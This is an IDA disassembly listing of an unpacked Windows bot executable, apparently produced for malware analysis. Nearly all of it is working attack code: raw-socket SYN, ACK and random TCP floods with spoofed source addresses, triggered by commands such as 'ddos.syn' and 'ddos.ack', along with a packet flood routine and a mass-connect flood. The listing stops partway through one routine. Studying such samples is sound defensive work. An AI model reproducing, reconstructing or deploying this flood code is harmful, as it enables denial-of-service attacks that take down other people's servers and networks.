;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 85DDC85CFCE175A70F151601BBBF394F
; File Name : u:\work\85ddc85cfce175a70f151601bbbf394f_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00072000 ( 466944.)
; Section size in file : 00072000 ( 466944.)
; Offset to raw data for section: 00001000
; Flags E0000080: Bss Executable Readable Writable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
UPX0 segment para public 'CODE' use32
assume cs:UPX0
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: sub_40EE51+3A26o
Dest = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = dword ptr -18Ch
Str = byte ptr -10Ch
Str1 = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
lea eax, [ebp+var_18C]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+var_20C]
push eax ; Str
lea eax, [ebp+var_28C]
push eax ; int
call sub_4013E9
push eax
lea eax, [ebp+Dest]
push offset unk_425050 ; Format
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_294] ; int
call sub_40D670
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_290]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4010B2(int,int,char *Str1,int,int)
sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
Dst = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str1 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call ds:dword_43C590 ; WSAStartup
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: sub_4010B2+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_43C6BC ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013DD
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call ds:dword_43C5F8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push [ebp+arg_C]
mov [ebp+var_58], 2
call ds:dword_43C618 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call ds:dword_43C618 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call ds:dword_43C618 ; htons
mov [ebp+var_12], ax
call _rand
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_43C618 ; htons
push 12345678h
mov [ebp+var_14], ax
call ds:dword_43C614 ; htonl
push offset Str2 ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: sub_4010B2+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: sub_4010B2+121j
push offset aDdos_random ; "ddos.random"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401216: ; CODE XREF: sub_4010B2+10Ej
; sub_4010B2+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call ds:dword_43C618 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+Str1], ebx
call ds:dword_42305C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call ds:dword_423058 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call __allmul
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401264: ; CODE XREF: sub_4010B2+2E2j
; sub_4010B2+2F0j
mov [ebp+var_4], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_43C618 ; htons
mov [ebp+var_14], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call ds:dword_43C618 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call ds:dword_43C614 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call ds:dword_43C618 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF34
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF34
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call ds:dword_43C67C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4013A7
add [ebp+Str1], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_423058 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013D0
jl loc_401264
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4013D0
jmp loc_401264
; ---------------------------------------------------------------------------
loc_4013A7: ; CODE XREF: sub_4010B2+2CBj
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset unk_425088 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esp, 10h
jmp short loc_4013D3
; ---------------------------------------------------------------------------
loc_4013D0: ; CODE XREF: sub_4010B2+2E0j
; sub_4010B2+2EEj
mov ebx, [ebp+Str1]
loc_4013D3: ; CODE XREF: sub_4010B2+78j
; sub_4010B2+31Cj
push [ebp+var_20]
call ds:dword_43C6B0 ; closesocket
pop esi
loc_4013DD: ; CODE XREF: sub_4010B2+5Bj
call ds:dword_43C578 ; WSACleanup
mov eax, ebx
loc_4013E5: ; CODE XREF: sub_4010B2+3Bj
pop edi
pop ebx
leave
retn
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4013E9(int,char *Str,char *Str1,int)
sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
Str = dword ptr 8
Str1 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADC5
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_C] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi ; int
idiv ecx
push ebx ; int
push [esp+20h+Str1] ; Str1
lea eax, [edx+esi+100h]
push eax ; int
push esi ; int
call sub_4010B2
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401447 proc near ; DATA XREF: sub_40EE51+3C0Eo
Dest = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call ds:dword_43C698 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014E2
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset unk_425214 ; Format
loc_401495: ; DATA XREF: UPX0:off_4272ACo
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C5
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_40D670
add esp, 14h
loc_4014C5: ; CODE XREF: sub_401447+5Cj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_38]
call sub_417064
pop ecx
pop ecx
push edi
call ds:dword_423050
loc_4014E2: ; CODE XREF: sub_401447+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call ds:dword_43C5F8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401559
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset unk_4251CC ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_40153C
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_40D670
add esp, 14h
loc_40153C: ; CODE XREF: sub_401447+D3j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_38]
call sub_417064
pop ecx
pop ecx
push edi
call ds:dword_423050
loc_401559: ; CODE XREF: sub_401447+B3j
lea eax, [ebp+var_1B8]
push eax
call ds:dword_43C658 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_4015C0
lea eax, [ebp+Dest]
push offset unk_42519C ; Format
push eax ; Dest
call _sprintf
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A3
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_40D670
add esp, 14h
loc_4015A3: ; CODE XREF: sub_401447+13Aj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_38]
call sub_417064
pop ecx
pop ecx
push edi
call ds:dword_423050
loc_4015C0: ; CODE XREF: sub_401447+122j
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push edi
call ds:dword_43C618 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call ds:dword_43C658 ; inet_addr
mov esi, ds:dword_423054
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_4015FE: ; CODE XREF: sub_401447+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4017A9
push 41Ch
mov ds:byte_439398, 45h
call ds:dword_43C618 ; htons
cmp [ebp+var_2C], edi
mov ds:word_43939A, ax
mov ds:word_43939C, bx
mov ds:word_43939E, di
mov ds:byte_4393A0, 80h
mov ds:byte_4393A1, bl
mov ds:word_4393A2, di
jz short loc_401684
call _rand
mov ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
push 1
mov ds:dword_4393A4, ebx
pop ebx
jmp short loc_40169C
; ---------------------------------------------------------------------------
loc_401684: ; CODE XREF: sub_401447+20Bj
push [ebp+var_1BC]
call sub_40AEDB
pop ecx
push eax
call ds:dword_43C658 ; inet_addr
mov ds:dword_4393A4, eax
loc_40169C: ; CODE XREF: sub_401447+23Bj
mov eax, [ebp+var_18]
mov ds:dword_4393A8, eax
call _rand
cdq
mov ecx, 100h
idiv ecx
mov ds:byte_4393AC, dl
call _rand
cdq
mov ecx, 100h
idiv ecx
mov ds:byte_4393AD, dl
call _rand
cdq
mov ecx, 0F0h
push 400h ; Size
idiv ecx
mov ds:word_4393AE, di
mov ds:word_4393B2, bx
inc edx
mov ds:word_4393B0, dx
call _rand
cdq
mov ecx, 0FFh
idiv ecx
push edx ; Val
push offset dword_4393B4 ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 10h
push eax
push edi
push 41Ch
push offset byte_439398
push [ebp+var_4]
call ds:dword_43C67C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401734
inc [ebp+arg_0]
jmp loc_4015FE
; ---------------------------------------------------------------------------
loc_401734: ; CODE XREF: sub_401447+2E3j
push [ebp+var_4]
call ds:dword_43C6B0 ; closesocket
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_42513C ; Format
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_40178C
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_40D670
add esp, 14h
loc_40178C: ; CODE XREF: sub_401447+323j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_38]
call sub_417064
pop ecx
pop ecx
push edi
call ds:dword_423050
loc_4017A9: ; CODE XREF: sub_401447+1C8j
push [ebp+var_4]
call ds:dword_43C6B0 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+Dest]
push offset unk_4250DC ; Format
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_401811
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_40D670
add esp, 14h
loc_401811: ; CODE XREF: sub_401447+3A8j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_38]
call sub_417064
pop ecx
pop ecx
push edi
call ds:dword_423050
sub_401447 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: sub_40EE51+158Eo
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_40198C
push eax
lea eax, [ebp+Dest]
push offset Format ; "[SUPERSYN]: Done with flood (%iKB/sec)"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_40D670
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_10]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
sub_40182E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CA proc near ; CODE XREF: sub_40198C+27p
var_654 = byte ptr -654h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call ds:dword_43C618 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_401988
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_401915: ; CODE XREF: sub_4018CA+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_40191D: ; CODE XREF: sub_4018CA+7Aj
push 0
push 1
push 2
call ds:dword_423214 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_401940
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_423218 ; ioctlsocket
loc_401940: ; CODE XREF: sub_4018CA+64j
add esi, 4
dec ebx
jnz short loc_40191D
lea esi, [ebp+var_654]
mov ebx, edi
loc_40194E: ; CODE XREF: sub_4018CA+96j
lea eax, [ebp+Dst]
push 10h
push eax
push dword ptr [esi]
call ds:dword_42321C ; connect
add esi, 4
dec ebx
jnz short loc_40194E
push 64h
call ds:dword_423060 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_401972: ; CODE XREF: sub_4018CA+B4j
push dword ptr [esi]
call ds:dword_423220 ; closesocket
add esi, 4
dec ebx
jnz short loc_401972
dec [ebp+arg_4]
jnz short loc_401915
pop edi
pop esi
pop ebx
loc_401988: ; CODE XREF: sub_4018CA+3Ej
xor eax, eax
leave
retn
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40198C(int,char *Str,int)
sub_40198C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADC5
push [esp+10h+Str] ; Str
mov edi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov esi, eax
push esi
push ebx
push edi
call sub_4018CA
add esp, 18h
test eax, eax
jnz short loc_4019C2
push 1
pop eax
loc_4019C2: ; CODE XREF: sub_40198C+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_40198C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019D1 proc near ; DATA XREF: sub_40EE51+3917o
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_401D1F
push eax
lea eax, [ebp+Dest]
push offset dword_425280 ; Format
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_401A4E
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_40D670
add esp, 14h
loc_401A4E: ; CODE XREF: sub_4019D1+5Bj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_10]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
sub_4019D1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A6D proc near ; CODE XREF: sub_401D1F+3Cp
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
Dst = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call ds:dword_43C590 ; WSAStartup
test eax, eax
jz short loc_401AAD
xor eax, eax
jmp loc_401D1B
; ---------------------------------------------------------------------------
loc_401AAD: ; CODE XREF: sub_401A6D+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_43C6BC ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401D13
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call ds:dword_43C5F8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_401D09
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_8]
call ds:dword_43C618 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call ds:dword_43C618 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call ds:dword_43C618 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call ds:dword_43C618 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call ds:dword_42305C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call ds:dword_423058 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call __allmul
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_401B98: ; CODE XREF: sub_401A6D+25Dj
; sub_401A6D+26Bj
mov [ebp+var_24], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_43C618 ; htons
mov [ebp+var_34], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call ds:dword_43C618 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call ds:dword_43C614 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call ds:dword_43C618 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF34
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_8C]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF34
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
